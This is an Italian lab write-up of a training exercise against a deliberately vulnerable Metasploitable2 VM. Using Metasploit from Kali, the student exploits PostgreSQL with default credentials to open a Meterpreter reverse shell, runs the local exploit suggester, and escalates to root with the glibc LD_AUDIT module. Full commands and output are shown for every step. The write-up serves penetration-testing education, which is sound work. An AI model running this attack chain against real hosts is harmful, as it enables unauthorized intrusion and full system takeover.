Progetto S7L3 –Esercizio di Pratica

INTRODUZIONE

1. Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable

   Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target

Escalation di privilegi e backdoor:

● Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.

● Esegui il comando getuid per verificare l'identità dell'utente corrente

2. Bonus:

● Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.

● Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.

● Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.

● sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo

PREFAZIONE

Questo esercizio vede in azione due Macchine Virtuali: Kali Linux come Attaccante, Metasploitable2 come Target.

Kali Linux con ip 192.168.2.100
Metasploitable2 con ip 192.168.2.4

Utilizzeremo lo strumento Metasploit sfruttando il servizio PostgreSQL di Metasploitable 2.
Identificheremo e verificheremo le sue vulnerabilità, diventeremo root infine

installeremo una backdoor per accedervi in un secondo momento

ESECUZIONE: Fase 1

Come prima cosa effettuo un ping dalla Macchina Kali Linux alla Metasploitable2

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.2.4
PING 192.168.2.4 (192.168.2.4) 56(84) bytes of data.
64 bytes from 192.168.2.4: icmp_seq=1 ttl=64 time=0.414 ms
64 bytes from 192.168.2.4: icmp_seq=2 ttl=64 time=0.511 ms
64 bytes from 192.168.2.4: icmp_seq=3 ttl=64 time=0.363 ms
^C
── 192.168.2.4 ping statistics ──
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.363/0.429/0.511/0.061 ms
```

Avvio Metasploit con il comando msfconsole su Kali Linux

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

       ,           ,
      /             \
     ((__---,,,---__))
        (_) O O (_)_________
           \ _ /            |\
            o_o \   M S F   | \
                 \   _____  |  *
                  ||| WW|||
                  |||     |||


       =[ metasploit v6.4.103-dev                         ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads     ]
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Come suggerito dalla traccia dell'esercizio usiamo il modulo exploit/linux/postgres/postgres_payload, per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.
Nel Terminale quindi scriviamo i comandi:
use exploit/linux/postgres/postgres_payload
options

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   VERBOSE  false            no        Enable verbose output


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         no        The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5432             no        The target port (TCP)
   USERNAME  postgres         no        The username to authenticate as


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

```
Exploit target:

   Id  Name
   --  ----
   0   Linux x86


View the full module info with the info, or info -d command.
```

Ora impostiamo i parametri mancanti in RHOSTS(ip Metasploitable2) e LHOSTS(ip Kali Linux) inserendoli con set RHOSTS 192.168.2.4 e set LHOSTS 192.168.2.100. Ripeto il comando options per assicurarmi che siano inseriti.

```
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.2.4
RHOSTS ⇒ 192.168.2.4
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.2.100
LHOST ⇒ 192.168.2.100
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   VERBOSE  false            no        Enable verbose output


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         no        The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    192.168.2.4      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5432             no        The target port (TCP)
   USERNAME  postgres         no        The username to authenticate as


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.100    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

```
Exploit target:

   Id  Name
   --  ----
   0   Linux x86


View the full module info with the info, or info -d command.
```

Uso il comando run(avvia)

```
msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[*] 192.168.2.4:5432 - 192.168.2.4:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.2.4:5432 - Uploaded as /tmp/bwfRPvOx.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 1 opened (192.168.2.100:4444 → 192.168.2.4:49147) at 2026-01-21 08:59:22 -0500

meterpreter > sessions -i 1
[*] Session 1 is already interactive.
meterpreter > getuid
Server username: postgres
```

Come da figura l'exploit ha avuto successo (Meterpreter session 1 opened), con il comando getuid verifico l'identità e come risposta ottengo Server username: postgres,

ESECUZIONE: Extra Fase 2

Sulla tastiera digito ctrl+z per mettere la sessione 1, sulla quale stiamo lavorando, in background

Utilizzo il comando use post/multi/recon/local_exploit_suggester, il quale mi suggerisce gli exploit locali della Macchina Metasploitable2

```
Background session 1? [y/N]  y
[-] Unknown command: y. Run the help command for more details.
msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
```

Inserisco options, imposto la SESSION con set SESSION 1 e verifico che ci sia utilizzando nuovamente options.

```
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION ⇒ 1
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
```

Inserisco run per avviare, vengono individuati 81 moduli, di cui 8 sicuramente vulnerabili

Vediamo i moduli vulnerabili:

1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

2 exploit/linux/local/glibc_origin_expansion_priv_esc

3 exploit/linux/local/netfilter_priv_esc_ipv4

4 exploit/linux/local/ptrace_sudo_token_priv_esc

5 exploit/linux/local/su_login

6 exploit/linux/persistence/autostart

7 exploit/multi/persistence/cron

8 exploit/unix/local/setuid_nmap ,

Eseguo il modulo 1 per diventare root(Amministratore) della Metasploitable2

1. Digito use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
   e options

```
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SUID_EXECUTABLE  /bin/ping        yes       Path to a SUID executable


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

   Imposto SESSION, in SESSION 1 e LHOST 192.168.2.100 (Kali Linux in ascolto), noto Payload option (linux/x64..), sapendo che però è x86, la cambio con set payload linux/x86/meterpreter/reverse_tcp e digito options

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on
   SUID_EXECUTABLE  /bin/ping        yes       Path to a SUID executable


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.100    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Avvio con run:

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.62d37D0' (1271 bytes) ...
[*] Writing '/tmp/.AKh4tlDHDJ' (281 bytes) ...
[*] Writing '/tmp/.OMODs7Jz' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 2 opened (192.168.2.100:4444 → 192.168.2.4:48767) at 2026-01-22 02:28:18 -0500
```

Avviato meterpreter scrivo getuid per vedere se sono riuscito nella scalata dei privilegi e sysinfo per riconoscere il sistema operativo

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.2.4 - Meterpreter session 2 closed.  Reason: User exit
```

Getuid dà il risultato sperato, Server username:root ,sysinfo mi accerta che è la Metasploitable2, chiudo la sessione con exit.